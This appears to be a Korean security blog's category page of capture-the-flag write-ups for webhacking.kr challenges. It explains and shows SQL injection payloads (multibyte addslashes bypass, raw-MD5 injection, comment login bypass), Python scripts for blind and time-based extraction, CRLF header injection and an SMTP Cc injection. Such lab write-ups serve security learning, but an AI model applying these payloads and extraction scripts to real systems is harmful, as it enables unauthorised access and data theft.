'Solve Problem/Webhacking.kr'에 해당되는 글 34건

반응형

view-source를 통해 소스코드를 확인해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  if($_GET['id'&& $_GET['pw']){
    $db = dbconnect();
    $_GET['id'= addslashes($_GET['id']); 
    $_GET['pw'= addslashes($_GET['pw']);
    $_GET['id'= mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ckif(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1echo("level : 1<br><br>");
      if($result['lv']==2echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$resultecho("Wrong");
  }
?>
cs


일단 포인트부터 잡아보자면 id와 pw를 addslashes를 통해 공격을 방어하지만 6번 라인에서 mb_convert_encoding 함수를 통해 id 파라미터를 euc-kr로 변환시켜주므로 이 부분이 포인트임을 알 수 있다.


내가 정리해둔 포스팅을 통해 우회할 수 있으므로 id 부분을 통해 SQL Injection을 진행하면 될 것으로 보인다.

https://rootable.tistory.com/entry/addslashes-mysqlrealescapestring-%EC%9A%B0%ED%9A%8C



여기서 문제 solve를 하기 위해 lv 3을 해야 하므로 limit 기능을 이용하여 찾아보았다.

하지만 lv 2까지는 나오지만 3는 나오지 않는 것을 통해 테이블 내에 lv 3가 존재하지 않다는 것을 파악한 뒤 다시 소스코드를 보았다.


id로 넘어오는 값에서 union을 체크하는 것으로 보아 pw 부분에서 union을 이용하여 진행할 수 있을까를 생각해보았다.

id 부분에서 백슬래시를 넣어 싱글쿼터를 무력화 시킨 뒤 union을 이용하면 가능할 것이라 생각하였다.


이것을 정리하면 다음과 같은 쿼리가 된다.

select lv from chall50 where id='?\' and pw=md5(' union select 3#')



반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-28 writeup  (0) 2020.04.17
webhacking.kr old-40 writeup  (1) 2020.04.14
webhacking.kr old-51 writeup  (0) 2020.04.14
webhacking.kr old-52 writeup  (0) 2020.04.14
webhacking.kr old-55 writeup  (0) 2020.04.13
블로그 이미지

rootable

,
반응형
해당 문제는 md5와 관련한 취약점 문제이다.
기존에 알아뒀던 것이 있어 금방 문제를 solve하였다.

문제 source-view를 이용하여 소스코드를 확인해보자.
1
2
3
4
5
6
7
8
9
10
<?php
  if($_POST['id'&& $_POST['pw']){
    $db = dbconnect();
    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
    if($result['id']) solve(51);
    if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
  }
?>
cs

해당 문제를 보면 id는 addslashes를 이용하여 싱글쿼터를 차단하고 있으므로 pw를 이용하여야함을 확인할 수 있다.
이 때 pw를 보면 POST 방식으로 받는 값을 md5 함수로 변환하여 select하고 있는데 여기서 바로 느낌이 왔다.

확신이 든 것은 md5 함수의 raw_output 옵션이 true로 되어 있으며, select 구문의 결과 id가 특정되어 있지 않다는 점이다.
이게 무슨 말인지는 아래 링크를 통해 확인을 직접 해보길 바란다.

링크 : https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

문제 solve할 때는 그냥 id에 임의의 문자열과 함께 링크에서 제공해준 문자열 [ 129581926211651571912466741651878684928 ]을 입력해주면 문제가 solve된다.

다음 사진과 같이 md5의 결과가 raw 형태로 출력된다면 마지막의 'or'8 로 인해 select 구문이 true가 되어 id가 출력되는 것이다.





반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-40 writeup  (1) 2020.04.14
webhacking.kr old-50 writeup  (0) 2020.04.14
webhacking.kr old-52 writeup  (0) 2020.04.14
webhacking.kr old-55 writeup  (0) 2020.04.13
webhacking.kr old-57 writeup  (0) 2020.04.13
블로그 이미지

rootable

,
반응형

문제 접근하여 admin 페이지에 접근하면 로그인 페이지가 뜨는데 여기서 그냥 취소를 누르면 view-source 버튼이 있다.

소스코드를 확인해보자.



소스코드를 보면 다음과 같이 2가지 부분을 해결해야 한다.

먼저 아래부분을 보면 로그인하는 부분인데, 여기서는 그냥 간단히 SQL Injection을 통해 pw를 모르는 상태에서도 로그인이 가능하다.

id 부분에 [admin'-- ]을 입력하면 로그인이 가능하다.


하지만 위에서 로컬에서 접근한 것인지 확인하는 부분에 의해 차단되어 flag 값을 획득할 수 없다.

이 때 proxy.php 기능을 이용하면 로컬에서 접근이 가능하다.


위의 사진과 같이 proxy.php에 접근하여 page 파라미터에 %0d%0a를 통해 CRLF를 이용하면 내가 원하는 헤더를 proxy request에 추가하여 보낼 수 있다.


이를 이용하여 위에서 인증하여 얻은 Authorization 값과 세션 값을 넣어주면 문제가 solve된다.

(추가) Authorization 값만 넣으면 세션을 생성하여 다시 페이지를 요청하기 때문에 flag가 뜨지 않고, 세션 값만 넣으면 인증되지 않았다고 뜨므로, 두가지 값을 모두 한번에 넣어주어야 한다.


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-50 writeup  (0) 2020.04.14
webhacking.kr old-51 writeup  (0) 2020.04.14
webhacking.kr old-55 writeup  (0) 2020.04.13
webhacking.kr old-57 writeup  (0) 2020.04.13
webhacking.kr old-59 writeup  (0) 2020.04.13
블로그 이미지

rootable

,
반응형

해당 문제는 Blind SQL Injection을 통해 solve하였다.


rank.php에 접근하면 하단에 다음과 같은 코드가 제공된다.

이는 메인페이지에서 score를 등록하였을 때 데이터베이스에 insert하는 구문으로 보인다.

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");


여기서 보면 테이블 마지막 컬럼에 flag가 저장되는 것을 볼 수 있는데, rank.php에서 제공되는 데이터는 아이디와 점수 뿐이다.

일단 and 구문을 이용하여 blind sql injection이 가능한 것을 확인한다.



이제 이를 이용하여 flag를 획득하면 되는데 insert 구문에서 컬럼명을 제공해주지 않았기 때문에 진행할 수가 없다.

이와 같이 컬럼명을 알지 못할 때 이용할 수 있는 것이 바로 procedure analyse() 이다.


procedure analyse()는 SELECT 구문의 마지막에 사용되며 쿼리에 의해 리턴되는 값들에 대한 통계가 일부 표시된다.

아래는 procedure analyse() 함수의 예시이다.

보는 바와 같이 첫번째 컬럼의 값들이 [데이터베이스명.테이블명.컬럼명] 으로 이루어져 있음을 확인할 수 있다.


이 기능을 이용하여 해당 문제를 풀 수 있다.

다음과 같이 procedure analyse()를 이용하게 되면 응답에 Field_name이 출력되며, LIMIT 기능을 이용하여 원하는 컬럼명을 획득할 수 있다.


이후 python 코드를 통해 FLAG를 획득하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
 
url="https://webhacking.kr/challenge/web-31/rank.php"
flag=""
 
for i in range(1,32):
    binary=''
    for bin_l in range(1,8):
        param = "?score=771+and+1=right(left(lpad(bin(ord(right(left(p4ssw0rd_1123581321,"+str(i)+"),1))),7,0),"+str(bin_l)+"),1)"
 
        response = requests.get(url+param)
        if('Rootable' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i=int(binary,2)   #문자열을 2진수로 변경
    flag = flag+b2i.to_bytes((b2i.bit_length()+7// 8,'big').decode()  #to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] "+flag)
 
print("[+]Final Flag : "+flag)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-51 writeup  (0) 2020.04.14
webhacking.kr old-52 writeup  (0) 2020.04.14
webhacking.kr old-57 writeup  (0) 2020.04.13
webhacking.kr old-59 writeup  (0) 2020.04.13
webhacking.kr old-60 writeup  (0) 2020.04.13
블로그 이미지

rootable

,
반응형

해당 문제는 Time Based SQL Injection을 통해 문제를 풀었다.


insert 할 때마다 pw 컬럼에 flag를 입력하기 때문에 se 파라미터로 받는 op 컬럼에서 time base로 pw를 확인할 수 있다.


Python3를 이용하여 Efficient SQL Injection 코드를 작성한건 처음이라 적어둔다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
import codecs
 
url="https://webhacking.kr/challenge/web-34/index.php?msg=123"
flag=""
 
for i in range(1,25):
    binary=''
    for bin_l in range(1,8):
        param = "&se=if(substr(lpad(bin(ascii(substr(pw,"+str(i)+",1))),7,0),"+str(bin_l)+",1)=1,sleep(3),1)"
        start_time=time.time();
        response = requests.get(url+param)
        if(time.time()-start_time>3):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i=int(binary,2)
    flag = flag+b2i.to_bytes((b2i.bit_length()+7// 8,'big').decode()
    print("[+] "+flag)
 
print("[+]Final Flag : "+flag)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-52 writeup  (0) 2020.04.14
webhacking.kr old-55 writeup  (0) 2020.04.13
webhacking.kr old-59 writeup  (0) 2020.04.13
webhacking.kr old-60 writeup  (0) 2020.04.13
[Webhacking.kr] old-47  (0) 2020.04.10
블로그 이미지

rootable

,

webhacking.kr old-59 writeup

2020. 4. 13. 13:42

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

해당 문제는 Race Condition과 관련된 문제이다.


1. !is_numeric($_COOKIE['PHPSESSID'])

 : 그냥 로그인을 한 뒤 접근하게 되면 화면에 Access Denied가 뜨게 된다.

 이는 위의 is_numeric 함수에 의한 것인데, 쿠키의 PHPSESSID 값이 숫자로만 이루어진 것이 아니라면 Access Denied가 뜬다.

 해당 함수를 우회하기 위해 단순히 요청 상의 PHPSESSID 값을 숫자로 변경할 경우 로그인한 세션값이 바뀌게 되어 login_chk() 함수에서 걸리게 된다.


따라서 위의 함수를 우회하기 위해서는 로그인할 때부터 세션값을 숫자로 설정해주어야 한다.

나는 Set-Cookie 헤더를 이용하여 이를 우회하였다.


아래 사진과 같이 로그인 이후 응답 값 헤더에 Set-Cookie를 추가하고 설정할 PHPSESSID 값을 입력해주면 이후부터 해당 세션값을 가지고 통신을 하게 된다.


2. unlink 

 : 요청을 한 클라이언트가 로컬(127.0.01)이 아닐 경우 생성하는 txt 파일을 1초 후에 삭제하도록 되어있다.

  if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){
    
sleep(1);
    
unlink("./readme/{$_SESSION['idx']}.txt");

  }


여기서 중요한 포인트는 sleep(1) 이다.

즉, 로컬이 아닐 경우에도 1초 동안은 해당 txt 파일이 서버에 존재한다는 것이다.

이를 통해 해당 문제가 Race Condition 문제임을 예상할 수 있다.


내가 삽질한 것은 하나의 세션을 가지고 Race Condition을 하려한 점이다.

위키백과에 따르면 race condition이란 "공유 자원에 대해 여러 개의 프로세스가 동시에 접근을 시도할 때 접근의 타이밍이나 순서 등이 결과값에 영향을 줄 수 있는 상태"를 말한다.


여기서 여러 개의 프로세스가 동시에 접근을 해야하는데, 세션 값이 하나일 경우라면 한 txt 파일에 동시에 접근하는 것이 아니라 이전 접근이 끝날 때를 기다렸다가 접근하기 때문에 절대 문제를 풀 수가 없다.


따라서 다른 브라우저에서 로그인 후 동일한 idx를 가지는 세션 값을 하나 더 만들어 준뒤 동시에 접근하도록 하면 문제가 solve 된다.



(참고) https://ko.wikipedia.org/wiki/%EA%B2%BD%EC%9F%81_%EC%83%81%ED%83%9C

반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-57 writeup  (0) 2020.04.13
webhacking.kr old-59 writeup  (0) 2020.04.13
[Webhacking.kr] old-47  (0) 2020.04.10
[webhacking.kr] old-09 Writeup  (0) 2020.04.01
4번 문제  (0) 2020.04.01
블로그 이미지

rootable

,
반응형

해당 문제는 그렇게 어려운 문제는 아니였다.

하지만 SMTP 프로토콜을 이용한 문제를 접해보지 않았었기 때문에 기록삼아 남겨둔다.


해당 문제에 접근하면 아래와 같이 send 버튼을 통해 메일을 전송한다.


아래에서 네번째 줄을 보면 FLAG{?????} 라고 하여 메일 내용으로 FLAG 값을 전송함을 확인할 수 있다.

그래서 메일 전송을 나에게도 보내도록 하면 solve될 것이란 생각으로 접근


%0d%0a를 이용하여 개행을 시도해보니 내가 원하는 문자열이 들어감을 확인할 수 있다.


이제 나에게 메일을 보내도록 하기 위해 To: [이메일계정]을 써보았지만 메일은 오지 않았다.

위에서 작성되어있으며 Overwrite는 되지 않는 것으로 보였다.


따라서 다른 방식으로 접근을 하다가 참조로 이용되는 Cc 혹은 Bcc를 이용해보고자 하였다.

따라서 다음과 같이 subject를 입력해주면 나에게 메일이 오는 것을 확인할 수 있다.

subject=Flag+of+webhacking.kr+old+47+chall%0d%0aCc: [이메일계정]


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-59 writeup  (0) 2020.04.13
webhacking.kr old-60 writeup  (0) 2020.04.13
[webhacking.kr] old-09 Writeup  (0) 2020.04.01
4번 문제  (0) 2020.04.01
[webhacking.kr] 19번 문제  (0) 2018.03.17
블로그 이미지

rootable

,